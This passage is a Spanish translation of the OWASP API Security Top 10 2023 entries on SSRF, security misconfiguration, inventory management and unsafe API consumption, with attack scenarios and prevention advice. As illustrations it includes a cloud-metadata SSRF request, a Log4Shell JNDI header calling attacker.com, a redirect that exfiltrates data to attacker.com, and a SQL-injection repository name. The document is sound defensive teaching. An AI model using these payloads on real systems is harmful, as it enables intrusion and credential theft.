La explotación requiere que el atacante encuentre un punto final API que acceda a un URI proporcionado por el cliente. En general, la SSRF básica (cuando la respuesta se devuelve al atacante) es más fácil de explotar que la SSRF ciega, en la que el atacante no tiene información sobre si el ataque tuvo éxito o no. Los conceptos modernos en el desarrollo de aplicaciones alientan a los desarrolladores a acceder a los URI proporcionados por el cliente. La falta o validación inadecuada de dichos URI son problemas comunes. Se requerirán solicitudes API periódicas y análisis de respuesta para detectar el problema. Cuando la respuesta no se devuelve (SSRF ciega) detectar la vulnerabilidad requiere más esfuerzo y creatividad. Una explotación exitosa podría conducir a la enumeración de servicios internos (por ejemplo, escaneo de puertos), divulgación de información, elusión de firewalls u otros mecanismos de seguridad. En algunos casos, puede provocar que DoS o el servidor se utilice como proxy para ocultar actividades maliciosas.

¿Es la API vulnerable?

Las fallas de falsificación de solicitudes del lado del servidor (SSRF) ocurren cuando una API recupera un recurso remoto sin validar la URL proporcionada por el usuario. Permite a un atacante obligar a la aplicación a enviar una solicitud diseñada a un destino inesperado, incluso cuando está protegida por un firewall o una VPN.

Los conceptos modernos en el desarrollo de aplicaciones hacen que la SSRF sea más común y más peligrosa.

Más común: los siguientes conceptos alientan a los desarrolladores a acceder a un recurso externo en función de la entrada del usuario: webhooks, obtención de archivos desde URL, SSO personalizado y vistas previas de URL.

Más peligroso: las tecnologías modernas como los proveedores de nube, Kubernetes y Docker exponen los canales de gestión y control a través de HTTP en rutas predecibles y bien conocidas. Esos canales son un blanco fácil para un ataque de la SSRF.

También es más difícil limitar el tráfico saliente de su aplicación, debido a la naturaleza conectada de las aplicaciones modernas.

El riesgo de la SSRF no siempre puede eliminarse por completo. Al elegir un mecanismo de protección, es importante considerar los riesgos y necesidades del negocio.

Ejemplos de escenarios de ataque

Escenario 1

Una red social permite a los usuarios subir imágenes de perfil. El usuario puede elegir cargar el archivo de imagen desde su máquina o proporcionar la URL de la imagen. Al elegir el segundo, se activará la siguiente llamada API:

POST /api/profile/upload_picture

```
{
    "picture_url": "http://example.com/profile_pic.jpg"
}
```

Un atacante puede enviar una URL maliciosa e iniciar un escaneo de puertos dentro de la red interna utilizando API Endpoint.

```
{
    "picture_url": "localhost:8080"
}
```

Según el tiempo de respuesta, el atacante puede determinar si el puerto está abierto o no.

Escenario #2

Un producto de seguridad genera eventos cuando detecta anomalías en la red. Algunos equipos prefieren revisar los eventos en un sistema de seguimiento más amplio y genérico, como un SIEM (Security Information and Event Management). Para ello, el producto proporciona integración con otros sistemas mediante webhooks.

Como parte de la creación de un nuevo webhook, se envía una mutación GraphQL con la URL de la API SIEM.

```
POST /graphql

[
   {
      "variables": {},
      "query": "mutation {
         createNotificationChannel(input: {
            channelName: \"ch_piney\",
            notificationChannelConfig: {
               customWebhookChannelConfigs: [
```

```
                {
                    url: \"http://www.siem-system.com/create_new_event\",
                    send_test_req: true
                }
            ]
            }
        }){
            channelId
    }
    }"
  }
]
```

Durante el proceso de creación, el back-end de la API envía una solicitud de prueba a la URL del webhook proporcionada y presenta la respuesta al usuario.

Un atacante puede aprovechar este flujo y hacer que la API solicite un recurso confidencial, como un servicio interno de metadatos en la nube que exponga las credenciales:

```
POST /graphql

[
  {
    "variables": {},
    "query": "mutation {
      createNotificationChannel(input: {
```

```
            channelName: \"ch_piney\",
            notificationChannelConfig: {
                customWebhookChannelConfigs: [
                    {
                        url:
\"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\",
                        send_test_req: true
                    }
                ]
            }
        }) {
            channelId
        }
    }
}
]
```

Dado que la aplicación muestra la respuesta de la solicitud de prueba, el atacante puede ver las credenciales del entorno de nube.

Como prevenir

Aísle el mecanismo de recuperación de recursos en su red: normalmente estas funciones están destinadas a recuperar recursos remotos y no internos.

Siempre que sea posible, utilice listas permitidas de:

Se espera que los usuarios de orígenes remotos descarguen recursos de (por ejemplo, Google Drive, Gravatar, etc.)

Esquemas de URL y puertos

Tipos de medios aceptados para una funcionalidad determinada

Deshabilite las redirecciones HTTP.

Utilice un analizador de URL bien probado y mantenido para evitar problemas causados por inconsistencias en el análisis de URL.

Valide y desinfecte todos los datos de entrada proporcionados por el cliente.

No envíe respuestas sin procesar a los clientes.

API8:2023 Configuración incorrecta de seguridad

Agentes de amenaza/Vectores de ataque Debilidad de la seguridad Impactos

API específica: explotabilidad sencilla Prevalencia generalizada : Detectabilidad fácil Técnico severo : específico del negocio

Los atacantes a menudo intentarán encontrar fallas sin parches, puntos finales comunes, servicios que se ejecutan con configuraciones predeterminadas inseguras o archivos y directorios desprotegidos para obtener acceso o conocimiento no autorizado del sistema. La mayor parte de esto es de conocimiento público y es posible que haya exploits disponibles. La configuración incorrecta de la seguridad puede ocurrir en cualquier nivel de la pila de API, desde el nivel de red hasta el nivel de aplicación. Hay herramientas automatizadas disponibles para detectar y explotar configuraciones erróneas, como servicios innecesarios u opciones heredadas. Las configuraciones erróneas de seguridad no solo exponen datos confidenciales del usuario, sino también detalles del sistema que pueden comprometer completamente el servidor.

¿Es la API vulnerable?

La API podría ser vulnerable si:

Falta un refuerzo de seguridad adecuado en cualquier parte de la pila de API, o si hay permisos configurados incorrectamente en los servicios en la nube

Faltan los últimos parches de seguridad o los sistemas están desactualizados

Se habilitan funciones innecesarias (por ejemplo, verbos HTTP, funciones de registro)

Hay discrepancias en la forma en que los servidores de la cadena de servidores HTTP procesan las solicitudes entrantes.

Falta la seguridad de la capa de transporte (TLS)

Las directivas de seguridad o control de caché no se envían a los clientes.

Falta una política de intercambio de recursos entre orígenes (CORS) o está configurada incorrectamente

Los mensajes de error incluyen seguimientos de pila o exponen otra información confidencial

Ejemplos de escenarios de ataque

Escenario 1

Un servidor back-end API mantiene un registro de acceso escrito por una popular utilidad de registro de código abierto de terceros con soporte para expansión de marcadores de posición y búsquedas JNDI (Java Naming and Directory Interface), ambas habilitadas de forma predeterminada. Para cada solicitud, se escribe una nueva entrada en el archivo de registro con el siguiente patrón: <method> <api_version>/<path> - <status_code>.

Un mal actor emite la siguiente solicitud API, que se escribe en el archivo de registro de acceso:

GET /health

X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}

Debido a la configuración predeterminada insegura de la utilidad de registro y a una política de salida de red permisiva, para escribir la entrada correspondiente en el registro de acceso, mientras se expande el valor en el X-Api-Versionencabezado de la solicitud, la utilidad de registro extraerá y ejecutará el Malicious.classobjeto del atacante. servidor controlado remotamente.

Escenario #2

El sitio web de una red social ofrece una función de "Mensaje directo" que permite a los usuarios mantener conversaciones privadas. Para recuperar mensajes nuevos para una conversación específica, el sitio web emite la siguiente solicitud API (no se requiere la interacción del usuario):

GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA

Debido a que la respuesta API no incluye el Cache-Controlencabezado de respuesta HTTP, las conversaciones privadas terminan almacenadas en caché por el navegador web, lo que permite a actores malintencionados recuperarlas de los archivos de caché del navegador en el sistema de archivos.

Como prevenir

El ciclo de vida de la API debe incluir:

Un proceso de refuerzo repetible que conduce a una implementación rápida y sencilla de un entorno correctamente bloqueado.

Una tarea para revisar y actualizar configuraciones en toda la pila de API. La revisión debe incluir: archivos de orquestación, componentes API y servicios en la nube (por ejemplo, permisos de depósito S3)

Un proceso automatizado para evaluar continuamente la efectividad de la configuración y los ajustes en todos los entornos.

Además:

Asegúrese de que todas las comunicaciones API desde el cliente al servidor API y cualquier componente descendente/ascendente se realicen a través de un canal de comunicación cifrado (TLS), independientemente de si se trata de una API interna o pública.

Sea específico acerca de qué verbos HTTP se puede acceder a cada API: todos los demás verbos HTTP deben estar deshabilitados (por ejemplo, HEAD).

Las API a las que se espera acceder desde clientes basados en navegador (por ejemplo, el front-end de una aplicación web) deben, al menos:

implementar una política adecuada de intercambio de recursos entre orígenes (CORS)

incluir encabezados de seguridad aplicables

Restrinja los tipos de contenido/formatos de datos entrantes a aquellos que cumplan con los requisitos comerciales/funcionales.

Asegúrese de que todos los servidores de la cadena de servidores HTTP (por ejemplo, equilibradores de carga, proxies inversos y directos y servidores back-end) procesen las solicitudes entrantes de manera uniforme para evitar problemas de desincronización.

Cuando corresponda, defina y aplique todos los esquemas de carga útil de respuesta de API, incluidas las respuestas de error, para evitar que se envíen rastros de excepciones y otra información valiosa a los atacantes.

API9:2023 Gestión inadecuada del inventario

Agentes de amenaza/Vectores de ataque Debilidad de la seguridad Impactos

API específica: explotabilidad sencilla Prevalencia generalizada : promedio de detectabilidad Técnico moderado : específico del negocio

Los agentes de amenazas generalmente obtienen acceso no autorizado a través de versiones antiguas de API o puntos finales que se ejecutan sin parches y utilizan requisitos de seguridad más débiles. En algunos casos, hay exploits disponibles. Alternativamente, pueden obtener acceso a datos confidenciales a través de un tercero con quien no hay ningún motivo para compartir datos. La documentación desactualizada hace que sea más difícil encontrar y/o corregir vulnerabilidades. La falta de inventario de activos y estrategias de retiro lleva a ejecutar sistemas sin parches, lo que resulta en fugas de datos confidenciales. Es común encontrar hosts API innecesariamente expuestos debido a conceptos modernos como los microservicios, que hacen que las aplicaciones sean fáciles de implementar e independientes (por ejemplo, computación en la nube, K8S). Para descubrir objetivos bastará con Google Dorking, una enumeración de DNS o el uso de motores de búsqueda especializados para varios tipos de servidores (cámaras web, enrutadores, servidores, etc.) conectados a Internet.

Los atacantes pueden obtener acceso a datos confidenciales o incluso apoderarse del servidor. A veces, diferentes versiones/implementaciones de API están conectadas a la misma base de datos con datos reales. Los agentes de amenazas pueden explotar puntos finales obsoletos disponibles en versiones antiguas de API para obtener acceso a funciones administrativas o explotar vulnerabilidades conocidas.

¿Es la API vulnerable?

La naturaleza dispersa y conectada de las API y las aplicaciones modernas plantea nuevos desafíos. Es importante que las organizaciones no solo tengan una buena comprensión y visibilidad de sus propias API y puntos finales de API, sino también de cómo las API almacenan o comparten datos con terceros externos.

La ejecución de varias versiones de una API requiere recursos de administración adicionales del proveedor de API y amplía la superficie de ataque.

Una API tiene un "punto ciego de documentación" si:

El propósito de un host API no está claro y no hay respuestas explícitas a las siguientes preguntas

¿En qué entorno se ejecuta la API (por ejemplo, producción, ensayo, prueba, desarrollo)?

¿Quién debería tener acceso a la red de la API (por ejemplo, público, interno, socios)?

¿Qué versión de API se está ejecutando?

No existe documentación o la documentación existente no está actualizada.

No existe un plan de jubilación para cada versión de API.

El inventario del anfitrión falta o está desactualizado.

La visibilidad y el inventario de los flujos de datos confidenciales desempeñan un papel importante como parte de un plan de respuesta a incidentes, en caso de que se produzca una infracción por parte de un tercero.

Una API tiene un "punto ciego del flujo de datos" si:

Existe un "flujo de datos confidenciales" donde la API comparte datos confidenciales con un tercero y

No existe justificación empresarial ni aprobación del flujo.

No hay inventario ni visibilidad del flujo.

No hay una visibilidad profunda de qué tipo de datos confidenciales se comparten.

Ejemplos de escenarios de ataque

Escenario 1

Una red social implementó un mecanismo de limitación de velocidad que impide que los atacantes utilicen la fuerza bruta para adivinar tokens de restablecimiento de contraseña. Este mecanismo no se implementó como parte del código API en sí, sino en un componente separado entre el cliente y la API oficial (api.socialnetwork.owasp.org). Un investigador encontró un host API beta (beta.api.socialnetwork.owasp.org) que ejecuta la misma API, incluido el mecanismo de restablecimiento de contraseña, pero el mecanismo de limitación de velocidad no estaba implementado. El investigador pudo restablecer la contraseña de cualquier usuario utilizando simple fuerza bruta para adivinar el token de 6 dígitos.

Escenario #2

Una red social permite a los desarrolladores de aplicaciones independientes integrarse en ella. Como parte de este proceso se solicita el consentimiento del usuario final, para que la red social pueda compartir la información personal del usuario con la aplicación independiente.

El flujo de datos entre la red social y las aplicaciones independientes no es lo suficientemente restrictivo

ni monitoreado, lo que permite que las aplicaciones independientes accedan no solo a la información del usuario sino también a la información privada de todos sus amigos.

Una consultora crea una aplicación maliciosa y consigue el consentimiento de 270.000 usuarios. Gracias al fallo, la consultora consigue acceder a la información privada de 50.000.000 de usuarios. Posteriormente, la consultora vende la información con fines maliciosos.

Como prevenir

Inventario todoAnfitriones APIy documentar aspectos importantes de cada uno de ellos, centrándose en el entorno API (por ejemplo, producción, puesta en escena, prueba, desarrollo), quién debe tener acceso a la red del host (por ejemplo, público, interno, socios) y la versión de la API.

Inventarioservicios integradosy documentar aspectos importantes como su papel en el sistema, qué datos se intercambian (flujo de datos) y su sensibilidad.

Documente todos los aspectos de su API, como autenticación, errores, redirecciones, limitación de velocidad, política de intercambio de recursos entre orígenes (CORS) y puntos finales, incluidos sus parámetros, solicitudes y respuestas.

Genere documentación automáticamente adoptando estándares abiertos. Incluya la documentación compilada en su proceso de CI/CD.

Haga que la documentación de la API esté disponible solo para aquellos autorizados a utilizar la API.

Utilice medidas de protección externas, como soluciones específicas de seguridad de API, para todas las versiones expuestas de sus API, no solo para la versión de producción actual.

Evite el uso de datos de producción con implementaciones de API que no sean de producción. Si esto es inevitable, estos puntos finales deberían recibir el mismo tratamiento de seguridad que los de producción.

Cuando las versiones más nuevas de las API incluyan mejoras de seguridad, realice un análisis de riesgos para informar las acciones de mitigación requeridas para las versiones anteriores. Por ejemplo, si es posible respaldar las mejoras sin romper la compatibilidad de la API o si necesita eliminar la versión anterior rápidamente y obligar a todos los clientes a pasar a la última versión.

API10:2023 Consumo inseguro de API

Agentes de amenaza/Vectores de ataque Debilidad de la seguridad Impactos

API específica: explotabilidad sencilla Prevalencia Común : Promedio de detectabilidad Técnico severo : específico del negocio

Explotar este problema requiere que los atacantes identifiquen y potencialmente comprometan otras API/servicios con los que está integrada la API de destino. Por lo general, esta información no está disponible públicamente o la API/servicio integrado no es fácilmente explotable. Los desarrolladores tienden a confiar y no verificar los puntos finales que interactúan con API externas o de terceros, basándose en requisitos de seguridad más débiles, como los relacionados con la seguridad del transporte, la autenticación/autorización y la validación y desinfección de entradas. Los atacantes necesitan identificar los servicios con los que se integra la API de destino (fuentes de datos) y, eventualmente, comprometerlos. El impacto varía según lo que haga la API de destino con los datos extraídos. La explotación exitosa puede llevar a la exposición de información confidencial a actores no autorizados, muchos tipos de inyecciones o denegación de servicio.

¿Es la API vulnerable?

Los desarrolladores tienden a confiar más en los datos recibidos de API de terceros que en las aportaciones del usuario. Esto es especialmente cierto en el caso de las API que ofrecen empresas conocidas. Debido a esto, los desarrolladores tienden a adoptar estándares de seguridad más débiles, por ejemplo, en lo que respecta a la validación y desinfección de entradas.

La API podría ser vulnerable si:

Interactúa con otras API a través de un canal no cifrado;

No valida ni desinfecta adecuadamente los datos recopilados de otras API antes de procesarlos o pasarlos a componentes posteriores;

Sigue ciegamente las redirecciones;

No limita la cantidad de recursos disponibles para procesar respuestas de servicios de terceros;

No implementa tiempos de espera para interacciones con servicios de terceros;

Ejemplos de escenarios de ataque

Escenario 1

Una API se basa en un servicio de terceros para enriquecer las direcciones comerciales proporcionadas por los usuarios. Cuando el usuario final proporciona una dirección a la API, se envía al servicio de terceros y los datos devueltos se almacenan en una base de datos local habilitada para SQL.

Los malos actores utilizan el servicio de terceros para almacenar una carga útil SQLi asociada con una empresa creada por ellos. Luego van tras la API vulnerable proporcionando información específica que la hace retirar su "negocio malicioso" del servicio de terceros. La carga útil de SQLi termina siendo ejecutada por la base de datos, filtrando datos al servidor controlado por un atacante.

Escenario #2

Una API se integra con un proveedor de servicios externo para almacenar de forma segura información médica confidencial del usuario. Los datos se envían a través de una conexión segura mediante una solicitud HTTP como la siguiente:

```
POST /user/store_phr_record

{

    "genome": "ACTAGTAG__TTGADDAAIICCTT…"

}
```

Los malos actores encontraron una manera de comprometer la API de terceros y comienza a responder con 308 Permanent Redirectsolicitudes como la anterior.

```
HTTP/1.1 308 Permanent Redirect

Location: https://attacker.com/
```

Dado que la API sigue ciegamente las redirecciones de terceros, repetirá exactamente la misma solicitud, incluidos los datos confidenciales del usuario, pero esta vez al servidor del atacante.

Escenario #3

Un atacante puede preparar un repositorio git llamado '; drop db;--.

Ahora, cuando se realiza una integración de una aplicación atacada con el repositorio malicioso, se utiliza la carga útil de inyección SQL en una aplicación que crea una consulta SQL creyendo que el nombre del repositorio es una entrada segura.

Como prevenir

Al evaluar a los proveedores de servicios, evalúe su postura de seguridad de API.

Asegúrese de que todas las interacciones de API se realicen a través de un canal de comunicación seguro (TLS).

Siempre valide y desinfecte adecuadamente los datos recibidos de las API integradas antes de usarlos.

Mantenga una lista de ubicaciones conocidas a las que las API integradas puedan redireccionar la suya: no siga ciegamente las redirecciones.